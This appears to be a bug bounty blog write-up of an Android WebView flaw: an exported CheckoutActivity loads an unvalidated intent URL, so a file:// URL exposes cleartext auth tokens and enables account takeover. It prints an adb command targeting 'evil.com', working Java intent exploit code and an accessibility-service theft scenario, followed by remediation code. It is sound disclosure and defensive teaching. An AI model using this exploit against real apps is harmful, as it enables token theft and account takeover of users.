Whoami

Hello folks, My name is Youssef Elsheikh, AKA NeM0x00. I'm interested in Android security apps. In this blog I'm going to share an interesting finding in my recent bug bounty program.

A small note: I'm testing on an Android 13 non-rooted device.

Summary

During a security assessment of an Android application, I discovered a critical vulnerability that allowed arbitrary file access and account takeover. The flaw resided in an exported CheckoutActivity component that accepted unvalidated user input. This input was used to load a URL into a WebView configured with dangerous settings, including setAllowFileAccess(true).

By exploiting this, an attacker could force the application to display sensitive local files within the WebView. This led to the theft of authentication tokens stored in cleartext within the app's private directory, ultimately resulting in a full account takeover.

I started reviewing Activity's code, and the code was heavily obfuscated, so I used DeepSeek to convert from Smali code to Java code, and I got some interesting results.

Vulnerability Analysis

The initial attack vector was identified during a review of the AndroidManifest.xml file, which revealed an exported activity named CheckoutActivity. Exported activities can be invoked by any application on the device, making them a prime target for security review.

1. Insecure Intent Handling in CheckoutActivity

The CheckoutActivity was found to accept an Intent extra named checkoutUrl without proper sanitization or validation. This user-controlled string was passed directly to a WebView for loading.

Key Code from CheckoutActivity.onCreate():

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    
    String checkoutUrl = getIntent().getExtras().getString("checkoutUrl");
    
    SDWebViewFragment webViewFragment = new SDWebViewFragment();
    this.e = webViewFragment;
    
    webViewFragment.loadUrl(checkoutUrl);
    webViewFragment.setUrl(checkoutUrl);
}

While thinking about how to increase the impact to get more bounty, I checked shared_prefs. Most developers are too lazy to decrypt the data and store it in clear text. I found a file called PersistedInstallation.json and it contained my ID, Auth_token, Refresh_token, and other data.

Exploitation Steps

Step 1: Initial Proof-of-Concept

The vulnerability was first verified by using the adb command to launch the activity with an external URL, confirming that an attacker could control the WebView's content.

adb shell am start -n com.example.botatos/.CheckoutActivity -es "checkoutUrl" "https://evil.com"
None

Step 2: Identifying the Target

Inspection of the application's private data directory revealed a file named PersistedInstallation.json. This file contained sensitive user data in cleartext, including:

  • auth_token
  • refresh_token
  • user_id

Step 3: Crafting the Exploit

A Quick Note: We should not call our test app "malicious" because most companies won't accept it, so let's call it a "test app."

A test application was created to launch the vulnerable CheckoutActivity and force it to display the sensitive local file using the file:// scheme.

Exploit Code:

Intent exploitIntent = new Intent();
exploitIntent.setClassName("com.example.botatos", "com.example.botatos.CheckoutActivity");
exploitIntent.putExtra(
    "checkoutUrl", "file:///data/data/com.example.botatos/files/PersistedInstallation.json");
startActivity(exploitIntent);

When this intent is executed, the target application's CheckoutActivity opens and renders the contents of the JSON file within the WebView.

None

The attacker's application can then use:

  • Accessibility services
  • Screenshot the content
  • Leverage a cross-site scripting (XSS) vulnerability if the token is rendered in an HTML context

This allows the attacker to exfiltrate the data completely.

Impact

The impact of this vulnerability is severe, leading directly to Account Takeover.

With the stolen auth_token and refresh_token, an attacker can:

  1. Impersonate the victim on all platforms (mobile, web) where these tokens are valid
  2. Gain full access to the user's account
  3. View personal information and financial data
  4. Perform any actions the user is authorized to do

Attack Scenario

  1. Victim installs a seemingly benign app from the Play Store
  2. The malicious app runs in the background
  3. It launches the vulnerable CheckoutActivity with a crafted file:// URL
  4. Tokens are displayed in the WebView
  5. The malicious app captures the tokens using accessibility services
  6. Attacker uses the tokens to take over the victim's account

Remediation

To fix this vulnerability, developers should:

1. Disable File Access in WebView

webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);

2. Validate and Sanitize Input

String checkoutUrl = getIntent().getExtras().getString("checkoutUrl");
if (checkoutUrl != null && checkoutUrl.startsWith("https://trusted-domain.com")) 
{
    webViewFragment.loadUrl(checkoutUrl);
} else {
    Log.e("Security", "Untrusted URL blocked");
    finish();
}

3. Don't Export Activities Unnecessarily

<activity
    android:name=".CheckoutActivity"
    android:exported="false" />

4. Use Encrypted Storage for Sensitive Data

Never store authentication tokens in cleartext. Use:

  • Android Keystore
  • EncryptedSharedPreferences
  • Proper encryption libraries

References

Stay safe and happy hacking!

Connect with me: